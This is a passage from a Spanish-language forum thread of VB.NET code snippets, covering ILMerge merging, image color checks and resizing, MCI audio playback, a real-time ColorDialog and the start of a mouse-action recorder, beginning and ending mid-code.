  23.            For Each InvalidCharacter As Char In IO.Path.GetInvalidPathChars
  24.                If Directory.Contains(InvalidCharacter) Then
  25.                    ' MsgBox(InvalidCharacter)
  26.                    Return False
  27.                End If
  28.            Next
  29.        End If
  30.  
  31.        If Not File Is Nothing Then
  32.            For Each InvalidCharacter As Char In IO.Path.GetInvalidFileNameChars
  33.                If File.Contains(InvalidCharacter) Then
  34.                    ' MsgBox(InvalidCharacter)
  35.                    Return False
  36.                End If
  37.            Next
  38.        End If
  39.  
  40.        Return True ' FileName is valid
  41.    End Function
  42.  
  43. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Mayo 2013, 07:40 am
Una class para combinar ejecutable de .NET con dependencias (dll's) en tiempo de ejecución...

Se necesita la aplicación IlMerge

Código
  1. #Region " IlMerge "
  2.  
  3. ' [ IlMerge Functions ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Instructions:
  8. ' 1. Add the "IlMerge.exe" to the project
  9. ' 2. Add the "IlMerge" Class to the project
  10. '
  11. ' Examples:
  12. ' IlMerge.Merge({"C:\Application.exe", "C:\Dependency.dll"}, "C:\Merged.exe")
  13. ' MsgBox(IlMerge.Merge({"C:\Application.exe", "C:\Dependency.dll"}, "C:\Merged.exe"))
  14.  
  15.  
  16. #Region " IlMerge class "
  17.  
  18. Public Class IlMerge
  19.  
  20.    ''' <summary>
  21.    ''' Set the location of IlMerge executable [Default: ".\IlMerge.exe"].
  22.    ''' </summary>
  23.    Public Shared IlMerge_Location As String = ".\IlMerge.exe"
  24.    ''' <summary>
  25.    ''' Set the location of IlMerge log file [Default: ".\IlMerge.log"].
  26.    ''' </summary>
  27.    Public Shared IlMerge_Log_Location As String = IlMerge_Location.Substring(0, IlMerge_Location.Length - 4) & ".log"
  28.  
  29.    ''' <summary>
  30.    ''' Merge
  31.    ''' </summary>
  32.    Public Shared Function Merge(ByVal InputFiles As String(), ByVal OutputFile As String) As Boolean
  33.  
  34.        Dim FilesString As String = Nothing
  35.        For Each File In InputFiles : FilesString += """" & File & """" & " " : Next
  36.  
  37.        Try : IO.File.Delete(IlMerge_Log_Location) : Catch : End Try ' Deletes old log if exist
  38.  
  39.        Try
  40.            Dim ResHacker As New Process()
  41.            Dim ResHacker_Info As New ProcessStartInfo()
  42.  
  43.            ResHacker_Info.FileName = IlMerge_Location
  44.            ResHacker_Info.Arguments = "/ndebug /log:" & """" & IlMerge_Log_Location & """" & " /out:" & """" & OutputFile & """" & " " & FilesString
  45.            ResHacker_Info.UseShellExecute = False
  46.            ResHacker.StartInfo = ResHacker_Info
  47.            ResHacker.Start()
  48.            ResHacker.WaitForExit()
  49.  
  50.            Try : IO.File.Delete(OutputFile.Substring(0, OutputFile.Length - 4) & ".pdb") : Catch : End Try ' Deletes Debug Generated File
  51.            Return Check_Last_Error()
  52.  
  53.        Catch ex As Exception
  54.            MsgBox(ex.Message)
  55.            Return False
  56.        End Try
  57.  
  58.    End Function
  59.  
  60.    ''' <summary>
  61.    ''' Return the last operation error if any [False = ERROR, True = Ok].
  62.    ''' </summary>
  63.    Private Shared Function Check_Last_Error()
  64.  
  65.        Try
  66.            Dim Line As String = Nothing
  67.            Dim Text As IO.StreamReader = IO.File.OpenText(IlMerge_Log_Location)
  68.  
  69.            Do Until Text.EndOfStream
  70.                Line = Text.ReadLine()
  71.                If Line.ToString.StartsWith("An exception occurred") Then
  72.                    Process.Start(IlMerge_Log_Location)
  73.                    Return False
  74.                End If
  75.            Loop
  76.  
  77.            Text.Close()
  78.            Text.Dispose()
  79.            Return True
  80.        Catch ex As Exception
  81.            MsgBox(ex.Message)
  82.            Return False
  83.        End Try
  84.  
  85.    End Function
  86.  
  87. End Class
  88.  
  89. #End Region
  90.  
  91. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Mayo 2013, 15:23 pm
Comprobar si una imagen contiene cierto color.

Esta función me ha costado la vida conseguirla, ya la pueden guardar bien xD...


Código
  1.   Private Function Image_Has_Color(ByVal image As Image, ByVal color As Color) As Boolean
  2.  
  3.        Using Bitmap_Image = New Bitmap(image.Width, image.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  4.  
  5.            Graphics.FromImage(Bitmap_Image).DrawImage(image, 0, 0)
  6.  
  7.            Dim Bitmap_Data = Bitmap_Image.LockBits(New Rectangle(0, 0, Bitmap_Image.Width, Bitmap_Image.Height), System.Drawing.Imaging.ImageLockMode.[ReadOnly], Bitmap_Image.PixelFormat)
  8.            Dim Bitmap_Pointer As IntPtr = Bitmap_Data.Scan0
  9.  
  10.            Dim Pixel_Color As Int32
  11.            Dim Result As Boolean = False
  12.  
  13.            For i = 0 To Bitmap_Data.Height * Bitmap_Data.Width - 1
  14.  
  15.                Pixel_Color = System.Runtime.InteropServices.Marshal.ReadInt32(Bitmap_Pointer, i * 4)
  16.  
  17.                If (Pixel_Color And &HFF000000) <> 0 AndAlso (Pixel_Color And &HFFFFFF) = (color.ToArgb() And &HFFFFFF) Then
  18.                    Result = True
  19.                    Exit For
  20.                End If
  21.  
  22.            Next
  23.  
  24.            Bitmap_Image.UnlockBits(Bitmap_Data)
  25.            Return Result
  26.  
  27.        End Using
  28.  
  29.    End Function

Ejemplo:
Código
  1.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  2.        MsgBox(Image_Has_Color(System.Drawing.Image.FromFile("C:\imagen.jpg"), Color.FromArgb(240, 240, 240)))
  3.    End Sub


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Mayo 2013, 15:48 pm
Devuelve una lista con todos los valores de una enumeración

Código
  1.    #Region " Get Enum Values "
  2.  
  3.       ' [ Get Enum Values Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' For Each value In Get_Enum_Values(Of KnownColor)() : MsgBox(value) : Next
  9.  
  10.    Private Function Get_Enum_Values(Of T)() As List(Of String)
  11.        Dim ValueList As New List(Of String)
  12.        For Each value In System.[Enum].GetValues(GetType(T)) : ValueList.Add(value.ToString) : Next
  13.        Return ValueList
  14.    End Function
  15.  
  16.    #End Region





Como hacer un Loop sobre todos los colores conocidos:

Código
  1.        For Each col In System.[Enum].GetValues(GetType(KnownColor))
  2.            Dim mycolor As Color = Color.FromKnownColor(col)
  3.            MsgBox(mycolor.ToString)
  4.            MsgBox(mycolor.R)
  5.            MsgBox(mycolor.G)
  6.            MsgBox(mycolor.B)
  7.        Next


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Mayo 2013, 19:32 pm
Redimensionar una imágen:

Código
  1. #Region " Resize Image "
  2.  
  3.    ' [ Save Resize Image Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' PictureBox1.Image = Resize_Image(System.Drawing.Image.FromFile("C:\Image.png"), 256, 256)
  8.  
  9.    Private Function Resize_Image(ByVal img As Image, ByVal Width As Int32, ByVal Height As Int32) As Bitmap
  10.        Dim Bitmap_Source As New Bitmap(img)
  11.        Dim Bitmap_Dest As New Bitmap(CInt(Width), CInt(Height))
  12.        Dim Graphic As Graphics = Graphics.FromImage(Bitmap_Dest)
  13.        Graphic.DrawImage(Bitmap_Source, 0, 0, Bitmap_Dest.Width + 1, Bitmap_Dest.Height + 1)
  14.        Return Bitmap_Dest
  15.    End Function
  16.  
  17. #End Region





Redimensionar una imágen a escala:

Código
  1. #Region " Scale Image "
  2.  
  3.    ' [ Save Scale Image Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' PictureBox1.Image = Scale_Image(System.Drawing.Image.FromFile("C:\Image.png"), 3) ' Scales to x3 of original size
  8.  
  9.    Private Function Scale_Image(ByVal img As Image, ByVal ScaleFactor As Single)
  10.        Dim Bitmap_Source As New Bitmap(img)
  11.        Dim Bitmap_Dest As New Bitmap(CInt(Bitmap_Source.Width * ScaleFactor), CInt(Bitmap_Source.Height * ScaleFactor))
  12.        Dim Graphic As Graphics = Graphics.FromImage(Bitmap_Dest)
  13.        Graphic.DrawImage(Bitmap_Source, 0, 0, Bitmap_Dest.Width + 1, Bitmap_Dest.Height + 1)
  14.        Return Bitmap_Dest
  15.    End Function
  16.  
  17. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Mayo 2013, 12:28 pm
Reproducir, pausar, detener archivos MP3/WAV/MIDI

Código
  1.    ' PlayFile
  2.    '
  3.    ' Examples:
  4.    ' Dim Audio As New PlayFile("C:\File.mp3")
  5.    ' Audio.Play()
  6.    ' Audio.Pause()
  7.    ' Audio.Resume()
  8.    ' Audio.Stop()
  9.  
  10. #Region " PlayFile Class"
  11.  
  12. ''' <summary>
  13. ''' This class is a wrapper for the Windows API calls to play wave, midi or mp3 files.
  14. ''' </summary>
  15. ''' <remarks>
  16. ''' </remarks>
  17. Public Class PlayFile
  18.    '***********************************************************************************************************
  19.    '        Class:  PlayFile
  20.    '   Written By:  Blake Pell (bpell@indiana.edu)
  21.    ' Initial Date:  03/31/2007
  22.    ' Last Updated:  02/04/2009
  23.    '***********************************************************************************************************
  24.  
  25.    ' Windows API Declarations
  26.    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Int32, ByVal hwndCallback As Int32) As Int32
  27.  
  28.    ''' <summary>
  29.    ''' Constructor:  Location is the filename of the media to play.  Wave files and Mp3 files are the supported formats.
  30.    ''' </summary>
  31.    ''' <param name="Location"></param>
  32.    ''' <remarks></remarks>
  33.    Public Sub New(ByVal location As String)
  34.        Me.Filename = location
  35.    End Sub
  36.  
  37.    ''' <summary>
  38.    ''' Plays the file that is specified as the filename.
  39.    ''' </summary>
  40.    ''' <remarks></remarks>
  41.    Public Sub Play()
  42.  
  43.        If _filename = "" Or Filename.Length <= 4 Then Exit Sub
  44.  
  45.        Select Case Right(Filename, 3).ToLower
  46.            Case "mp3"
  47.                mciSendString("open """ & _filename & """ type mpegvideo alias audiofile", Nothing, 0, IntPtr.Zero)
  48.  
  49.                Dim playCommand As String = "play audiofile from 0"
  50.  
  51.                If _wait = True Then playCommand += " wait"
  52.  
  53.                mciSendString(playCommand, Nothing, 0, IntPtr.Zero)
  54.            Case "wav"
  55.                mciSendString("open """ & _filename & """ type waveaudio alias audiofile", Nothing, 0, IntPtr.Zero)
  56.                mciSendString("play audiofile from 0", Nothing, 0, IntPtr.Zero)
  57.            Case "mid", "idi"
  58.                mciSendString("stop midi", "", 0, 0)
  59.                mciSendString("close midi", "", 0, 0)
  60.                mciSendString("open sequencer!" & _filename & " alias midi", "", 0, 0)
  61.                mciSendString("play midi", "", 0, 0)
  62.            Case Else
  63.                Throw New Exception("File type not supported.")
  64.                Call Close()
  65.        End Select
  66.  
  67.        IsPaused = False
  68.  
  69.    End Sub
  70.  
  71.    ''' <summary>
  72.    ''' Pause the current play back.
  73.    ''' </summary>
  74.    ''' <remarks></remarks>
  75.    Public Sub Pause()
  76.        mciSendString("pause audiofile", Nothing, 0, IntPtr.Zero)
  77.        IsPaused = True
  78.    End Sub
  79.  
  80.    ''' <summary>
  81.    ''' Resume the current play back if it is currently paused.
  82.    ''' </summary>
  83.    ''' <remarks></remarks>
  84.    Public Sub [Resume]()
  85.        mciSendString("resume audiofile", Nothing, 0, IntPtr.Zero)
  86.        IsPaused = False
  87.    End Sub
  88.  
  89.    ''' <summary>
  90.    ''' Stop the current file if it's playing.
  91.    ''' </summary>
  92.    ''' <remarks></remarks>
  93.    Public Sub [Stop]()
  94.        mciSendString("stop audiofile", Nothing, 0, IntPtr.Zero)
  95.    End Sub
  96.  
  97.    ''' <summary>
  98.    ''' Close the file.
  99.    ''' </summary>
  100.    ''' <remarks></remarks>
  101.    Public Sub Close()
  102.        mciSendString("close audiofile", Nothing, 0, IntPtr.Zero)
  103.    End Sub
  104.  
  105.    Private _wait As Boolean = False
  106.    ''' <summary>
  107.    ''' Halt the program until the .wav file is done playing.  Be careful, this will lock the entire program up until the
  108.    ''' file is done playing.  It behaves as if the Windows Sleep API is called while the file is playing (and maybe it is, I don't
  109.    ''' actually know, I'm just theorizing).  :P
  110.    ''' </summary>
  111.    ''' <value></value>
  112.    ''' <returns></returns>
  113.    ''' <remarks></remarks>
  114.    Public Property Wait() As Boolean
  115.        Get
  116.            Return _wait
  117.        End Get
  118.        Set(ByVal value As Boolean)
  119.            _wait = value
  120.        End Set
  121.    End Property
  122.  
  123.    ''' <summary>
  124.    ''' Sets the audio file's time format via the mciSendString API.
  125.    ''' </summary>
  126.    ''' <value></value>
  127.    ''' <returns></returns>
  128.    ''' <remarks></remarks>
  129.    ReadOnly Property Milleseconds() As Integer
  130.        Get
  131.            Dim buf As String = Space(255)
  132.            mciSendString("set audiofile time format milliseconds", Nothing, 0, IntPtr.Zero)
  133.            mciSendString("status audiofile length", buf, 255, IntPtr.Zero)
  134.  
  135.            buf = Replace(buf, Chr(0), "") ' Get rid of the nulls, they muck things up
  136.  
  137.            If buf = "" Then
  138.                Return 0
  139.            Else
  140.                Return CInt(buf)
  141.            End If
  142.        End Get
  143.    End Property
  144.  
  145.    ''' <summary>
  146.    ''' Gets the status of the current playback file via the mciSendString API.
  147.    ''' </summary>
  148.    ''' <value></value>
  149.    ''' <returns></returns>
  150.    ''' <remarks></remarks>
  151.    ReadOnly Property Status() As String
  152.        Get
  153.            Dim buf As String = Space(255)
  154.            mciSendString("status audiofile mode", buf, 255, IntPtr.Zero)
  155.            buf = Replace(buf, Chr(0), "")  ' Get rid of the nulls, they muck things up
  156.            Return buf
  157.        End Get
  158.    End Property
  159.  
  160.    ''' <summary>
  161.    ''' Gets the file size of the current audio file.
  162.    ''' </summary>
  163.    ''' <value></value>
  164.    ''' <returns></returns>
  165.    ''' <remarks></remarks>
  166.    ReadOnly Property FileSize() As Integer
  167.        Get
  168.            Try
  169.                Return My.Computer.FileSystem.GetFileInfo(_filename).Length
  170.            Catch ex As Exception
  171.                Return 0
  172.            End Try
  173.        End Get
  174.    End Property
  175.  
  176.    ''' <summary>
  177.    ''' Gets the channels of the file via the mciSendString API.
  178.    ''' </summary>
  179.    ''' <value></value>
  180.    ''' <returns></returns>
  181.    ''' <remarks></remarks>
  182.    ReadOnly Property Channels() As Integer
  183.        Get
  184.            Dim buf As String = Space(255)
  185.            mciSendString("status audiofile channels", buf, 255, IntPtr.Zero)
  186.  
  187.            If IsNumeric(buf) = True Then
  188.                Return CInt(buf)
  189.            Else
  190.                Return -1
  191.            End If
  192.        End Get
  193.    End Property
  194.  
  195.    ''' <summary>
  196.    ''' Used for debugging purposes.
  197.    ''' </summary>
  198.    ''' <value></value>
  199.    ''' <returns></returns>
  200.    ''' <remarks></remarks>
  201.    ReadOnly Property Debug() As String
  202.        Get
  203.            Dim buf As String = Space(255)
  204.            mciSendString("status audiofile channels", buf, 255, IntPtr.Zero)
  205.  
  206.            Return Str(buf)
  207.        End Get
  208.    End Property
  209.  
  210.    Private _isPaused As Boolean = False
  211.    ''' <summary>
  212.    ''' Whether or not the current playback is paused.
  213.    ''' </summary>
  214.    ''' <value></value>
  215.    ''' <returns></returns>
  216.    ''' <remarks></remarks>
  217.    Public Property IsPaused() As Boolean
  218.        Get
  219.            Return _isPaused
  220.        End Get
  221.        Set(ByVal value As Boolean)
  222.            _isPaused = value
  223.        End Set
  224.    End Property
  225.  
  226.    Private _filename As String
  227.    ''' <summary>
  228.    ''' The current filename of the file that is to be played back.
  229.    ''' </summary>
  230.    ''' <value></value>
  231.    ''' <returns></returns>
  232.    ''' <remarks></remarks>
  233.    Public Property Filename() As String
  234.        Get
  235.            Return _filename
  236.        End Get
  237.        Set(ByVal value As String)
  238.  
  239.            If My.Computer.FileSystem.FileExists(value) = False Then
  240.                Throw New System.IO.FileNotFoundException
  241.                Exit Property
  242.            End If
  243.  
  244.            _filename = value
  245.        End Set
  246.    End Property
  247. End Class
  248.  
  249. #End Region




Ejemplos de uso del Windows Media Player control:

Código
  1. #Region " Windows Media Player "
  2.  
  3.        AxWindowsMediaPlayer1.Visible = False
  4.        AxWindowsMediaPlayer1.URL = "C:\Audio.mp3"
  5.        AxWindowsMediaPlayer1.URL = "C:\Video.avi"
  6.        AxWindowsMediaPlayer1.settings.volume = 50
  7.        AxWindowsMediaPlayer1.settings.setMode("autoRewind", False) ' Mode indicating whether the tracks are rewound to the beginning after playing to the end. Default state is true.
  8.        AxWindowsMediaPlayer1.settings.setMode("loop", False) ' Mode indicating whether the sequence of tracks repeats itself. Default state is false.
  9.        AxWindowsMediaPlayer1.settings.setMode("showFrame", False) ' Mode indicating whether the nearest video key frame is displayed at the current position when not playing. Default state is false. Has no effect on audio tracks.
  10.        AxWindowsMediaPlayer1.settings.setMode("shuffle", False) ' Mode indicating whether the tracks are played in random order. Default state is false.
  11.        AxWindowsMediaPlayer1.Ctlcontrols.play()
  12.        AxWindowsMediaPlayer1.Ctlcontrols.stop()
  13.  
  14. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Mayo 2013, 12:48 pm
Un ColorDialog "por defecto" que tiene las propiedades "Title" y "Location",
Además se puede handlear el color que hay seleccionado en cualquier momento en el modo "Full open", para obtener el color sin tener que confirmar el diálogo.

PD: Hay que instanciarlo siempre para handlear el .Currentcolor

Ejemplos de uso:

Código
  1. Public Class Form1
  2.  
  3.     Private WithEvents PicBox As New PictureBox
  4.     Private WithEvents ColorDlg As ColorDialog_RealTime.Colordialog_Realtime = Nothing
  5.  
  6.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  7.         PicBox.BackColor = Color.Blue
  8.         Me.Controls.Add(PicBox)
  9.     End Sub
  10.  
  11.     Private Sub PicBox_Click(sender As Object, e As EventArgs) Handles PicBox.Click
  12.         ColorDlg = New ColorDialog_RealTime.Colordialog_Realtime
  13.         ColorDlg.Title = "Hello!"
  14.         ColorDlg.Location = New Point(Me.Right, Me.Top)
  15.         ColorDlg.Color = sender.backcolor
  16.         If ColorDlg.ShowDialog() = Windows.Forms.DialogResult.OK Then
  17.             sender.BackColor = ColorDlg.Color
  18.         End If
  19.         ColorDlg = Nothing
  20.     End Sub
  21.  
  22.     Private Sub ColorDlg_CurrentColor(c As System.Drawing.Color) Handles ColorDlg.CurrentColor
  23.         PicBox.BackColor = c
  24.     End Sub
  25.  
  26. End Class


Código
  1. Public Class Colordialog_Realtime
  2.    Inherits ColorDialog
  3.  
  4.    Public Event CurrentColor(ByVal c As Color)
  5.  
  6.    Private Const GA_ROOT As Integer = 2
  7.    Private Const WM_PAINT As Integer = &HF
  8.    Private Const WM_CTLCOLOREDIT As Integer = &H133
  9.  
  10.    Public Declare Function GetAncestor Lib "user32.dll" _
  11.        (ByVal hWnd As IntPtr, ByVal gaFlags As Integer) As IntPtr
  12.  
  13.    Private EditWindows As List(Of ApiWindow) = Nothing
  14.  
  15.    Public Sub New()
  16.        Me.FullOpen = True
  17.    End Sub
  18.  
  19.    <Runtime.InteropServices.DllImport("user32.dll")> _
  20.    Private Shared Function SetWindowText(hWnd As IntPtr, lpString As String) As Boolean
  21.    End Function
  22.  
  23.    Private Const SWP_NOSIZE As Integer = &H1
  24.    Private Declare Function SetWindowPos Lib "user32" Alias "SetWindowPos" _
  25.        (ByVal hwnd As IntPtr, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer
  26.  
  27.    Private m_title As String = String.Empty
  28.    Private titleSet As Boolean = False
  29.  
  30.    Public Property Title() As String
  31.        Get
  32.            Return m_title
  33.        End Get
  34.        Set(value As String)
  35.            If value IsNot Nothing AndAlso value <> m_title Then
  36.                m_title = value
  37.                titleSet = False
  38.            End If
  39.        End Set
  40.    End Property
  41.  
  42.    Private m_location As Point = Point.Empty
  43.    Private locationSet As Boolean = False
  44.  
  45.    Public Property Location() As Point
  46.        Get
  47.            Return m_location
  48.        End Get
  49.        Set(value As Point)
  50.            If Not value.Equals(Point.Empty) AndAlso Not value.Equals(m_location) Then
  51.                m_location = value
  52.                locationSet = False
  53.            End If
  54.        End Set
  55.    End Property
  56.  
  57.    <System.Security.Permissions.PermissionSetAttribute(System.Security.Permissions.SecurityAction.Demand, Name:="FullTrust")> _
  58.    Protected Overrides Function HookProc(ByVal hWnd As IntPtr, ByVal msg As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
  59.        Select Case msg
  60.            Case WM_PAINT
  61.                If Not titleSet AndAlso Title <> String.Empty Then
  62.                    SetWindowText(GetAncestor(hWnd, GA_ROOT), Title)
  63.                    titleSet = True
  64.                End If
  65.                If Not locationSet AndAlso Not m_location.Equals(Point.Empty) Then
  66.                    SetWindowPos(GetAncestor(hWnd, GA_ROOT), 0, m_location.X, m_location.Y, 0, 0, SWP_NOSIZE)
  67.                    locationSet = True
  68.                End If
  69.  
  70.            Case WM_CTLCOLOREDIT
  71.                If IsNothing(EditWindows) Then
  72.                    Dim mainWindow As IntPtr = GetAncestor(hWnd, GA_ROOT)
  73.                    If Not mainWindow.Equals(IntPtr.Zero) Then
  74.                        EditWindows = New List(Of ApiWindow)((New WindowsEnumerator).GetChildWindows(mainWindow, "Edit"))
  75.                    End If
  76.                End If
  77.  
  78.                If Not IsNothing(EditWindows) AndAlso EditWindows.Count = 6 Then
  79.                    Dim strRed As String = WindowsEnumerator.WindowText(EditWindows(3).hWnd)
  80.                    Dim strGreen As String = WindowsEnumerator.WindowText(EditWindows(4).hWnd)
  81.                    Dim strBlue As String = WindowsEnumerator.WindowText(EditWindows(5).hWnd)
  82.  
  83.                    Dim Red, Green, Blue As Integer
  84.                    If Integer.TryParse(strRed, Red) Then
  85.                        If Integer.TryParse(strGreen, Green) Then
  86.                            If Integer.TryParse(strBlue, Blue) Then
  87.                                RaiseEvent CurrentColor(Color.FromArgb(Red, Green, Blue))
  88.                            End If
  89.                        End If
  90.                    End If
  91.                End If
  92.        End Select
  93.  
  94.        Return MyBase.HookProc(hWnd, msg, wParam, lParam)
  95.    End Function
  96.  
  97. End Class
  98.  
  99. Class ApiWindow
  100.    Public hWnd As IntPtr
  101.    Public ClassName As String
  102.    Public MainWindowTitle As String
  103. End Class
  104.  
  105. Class WindowsEnumerator
  106.  
  107.    Private Delegate Function EnumCallBackDelegate(ByVal hwnd As IntPtr, ByVal lParam As Integer) As Integer
  108.  
  109.    Private Declare Function EnumWindows Lib "user32" _
  110.        (ByVal lpEnumFunc As EnumCallBackDelegate, ByVal lParam As Integer) As Integer
  111.  
  112.    Private Declare Function EnumChildWindows Lib "user32" _
  113.        (ByVal hWndParent As IntPtr, ByVal lpEnumFunc As EnumCallBackDelegate, ByVal lParam As Integer) As Integer
  114.  
  115.    Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" _
  116.        (ByVal hwnd As IntPtr, ByVal lpClassName As System.Text.StringBuilder, ByVal nMaxCount As Integer) As Integer
  117.  
  118.    Private Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As IntPtr) As Integer
  119.  
  120.    Private Declare Function GetParent Lib "user32" (ByVal hwnd As IntPtr) As Integer
  121.  
  122.    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
  123.        (ByVal hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
  124.  
  125.    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
  126.        (ByVal hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As System.Text.StringBuilder) As Integer
  127.  
  128.    Private _listChildren As New List(Of ApiWindow)
  129.    Private _listTopLevel As New List(Of ApiWindow)
  130.  
  131.    Private _topLevelClass As String = String.Empty
  132.    Private _childClass As String = String.Empty
  133.  
  134.    Public Overloads Function GetTopLevelWindows() As ApiWindow()
  135.        EnumWindows(AddressOf EnumWindowProc, &H0)
  136.        Return _listTopLevel.ToArray
  137.    End Function
  138.  
  139.    Public Overloads Function GetTopLevelWindows(ByVal className As String) As ApiWindow()
  140.        _topLevelClass = className
  141.        Return Me.GetTopLevelWindows()
  142.    End Function
  143.  
  144.    Public Overloads Function GetChildWindows(ByVal hwnd As Int32) As ApiWindow()
  145.        _listChildren.Clear()
  146.        EnumChildWindows(hwnd, AddressOf EnumChildWindowProc, &H0)
  147.        Return _listChildren.ToArray
  148.    End Function
  149.  
  150.    Public Overloads Function GetChildWindows(ByVal hwnd As Int32, ByVal childClass As String) As ApiWindow()
  151.        _childClass = childClass
  152.        Return Me.GetChildWindows(hwnd)
  153.    End Function
  154.  
  155.    Private Function EnumWindowProc(ByVal hwnd As Int32, ByVal lParam As Int32) As Int32
  156.        If GetParent(hwnd) = 0 AndAlso IsWindowVisible(hwnd) Then
  157.            Dim window As ApiWindow = GetWindowIdentification(hwnd)
  158.            If _topLevelClass.Length = 0 OrElse window.ClassName.ToLower() = _topLevelClass.ToLower() Then
  159.                _listTopLevel.Add(window)
  160.            End If
  161.        End If
  162.        Return 1
  163.    End Function
  164.  
  165.    Private Function EnumChildWindowProc(ByVal hwnd As Int32, ByVal lParam As Int32) As Int32
  166.        Dim window As ApiWindow = GetWindowIdentification(hwnd)
  167.        If _childClass.Length = 0 OrElse window.ClassName.ToLower() = _childClass.ToLower() Then
  168.            _listChildren.Add(window)
  169.        End If
  170.        Return 1
  171.    End Function
  172.  
  173.    Private Function GetWindowIdentification(ByVal hwnd As Integer) As ApiWindow
  174.        Dim classBuilder As New System.Text.StringBuilder(64)
  175.        GetClassName(hwnd, classBuilder, 64)
  176.  
  177.        Dim window As New ApiWindow
  178.        window.ClassName = classBuilder.ToString()
  179.        window.MainWindowTitle = WindowText(hwnd)
  180.        window.hWnd = hwnd
  181.        Return window
  182.    End Function
  183.  
  184.    Public Shared Function WindowText(ByVal hwnd As IntPtr) As String
  185.        Const W_GETTEXT As Integer = &HD
  186.        Const W_GETTEXTLENGTH As Integer = &HE
  187.  
  188.        Dim SB As New System.Text.StringBuilder
  189.        Dim length As Integer = SendMessage(hwnd, W_GETTEXTLENGTH, 0, 0)
  190.        If length > 0 Then
  191.            SB = New System.Text.StringBuilder(length + 1)
  192.            SendMessage(hwnd, W_GETTEXT, SB.Capacity, SB)
  193.        End If
  194.        Return SB.ToString
  195.    End Function
  196.  
  197. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 28 Mayo 2013, 17:24 pm
Una class para grabar tareas del mouse (mover el mouse aquí, clickar botón izquierdo hallá, etc)

De momento solo he conseguido implementar los botones del mouse izquierdo/derecho.

Saludos.



Código
  1. #Region " Record Mouse Class "
  2.  
  3. ' [ Record Mouse Functions ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Examples :
  8. ' Record_Mouse.Start_Record()
  9. ' Record_Mouse.Stop_Record()
  10. ' Record_Mouse.Play() : While Not Record_Mouse.Play_Is_Completed : Application.DoEvents() : End While
  11. ' Record_Mouse.Mouse_Speed = 50
  12.  
  13. Public Class Record_Mouse
  14.  
  15.    ''' <summary>
  16.    ''' Sets the speed of recording/playing the mouse actions.
  17.    ''' Default value is 25.
  18.    ''' </summary>
  19.    Public Shared Mouse_Speed As Int64 = 30
  20.  
  21.    ''' <summary>
  22.    ''' Gets the status pf the current mouse play.
  23.    ''' False = Mouse task is still playing.
  24.    ''' True = Mouse task play is done.
  25.    ''' </summary>
  26.    Public Shared Play_Is_Completed As Boolean
  27.  
  28.    ' Where the mouse coordenates will be stored:
  29.    Private Shared Coordenates_List As New List(Of Point)
  30.    ' Where the mouse clicks will be stored:
  31.    Private Shared Clicks_Dictionary As New Dictionary(Of Int64, MouseButton)
  32.    ' Timer to record the mouse:
  33.    Private Shared WithEvents Record_Timer As New Timer
  34.    ' Button click count to rec/play clicks:
  35.    Private Shared Click_Count As Int32 = 0
  36.    ' Thread to reproduce the mouse actions:
  37.    Private Shared Thread_MousePlay_Var As System.Threading.Thread = New Threading.Thread(AddressOf Thread_MousePlay)
  38.    ' API to record the current mouse button state:
  39.    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  40.    ' API to reproduce a mouse button click:
  41.    Private Declare Sub Mouse_Event Lib "User32" Alias "mouse_event" (ByVal dwFlags As MouseButton, ByVal dx As Integer, ByVal dy As Integer, ByVal dwData As Integer, ByVal dwExtraInfo As Integer)
  42.    ' GetAsyncKeyState buttons status
  43.    Private Shared Last_ClickState_Left As Int64 = -1
  44.    Private Shared Last_ClickState_Right As Int64 = -1
  45.    Private Shared Last_ClickState_Middle As Int64 = -1
  46.  
  47.    Enum MouseButton
  48.  
  49.        Left_Down = &H2    ' Left button (hold)
  50.        Left_Up = &H4      ' Left button (release)
  51.  
  52.        Right_Down = &H8   ' Right button (hold)
  53.        Right_Up = &H10    ' Right button (release)
  54.  
  55.        Middle_Down = &H20 ' Middle button (hold)
  56.        Middle_Up = &H40   ' Middle button (release)
  57.  
  58.        Left               ' Left   button (press)
  59.        Right              ' Right  button (press)
  60.        Middle             ' Middle button (press)
  61.  
  62.    End Enum
  63.  
  64.    ''' <summary>
  65.    ''' Starts recording the mouse actions over the screen.
  66.    ''' It records the position of the mouse and left/right button clicks.
  67.    ''' </summary>
  68.    Public Shared Sub Start_Record()
  69.  
  70.        ' Reset vars:
  71.        Play_Is_Completed = False
  72.        Coordenates_List.Clear() : Clicks_Dictionary.Clear()
  73.        Last_ClickState_Left = -1 : Last_ClickState_Right = -1 : Last_ClickState_Middle = -1
  74.        Click_Count = 0
  75.  
  76.        ' Set Mouse Speed
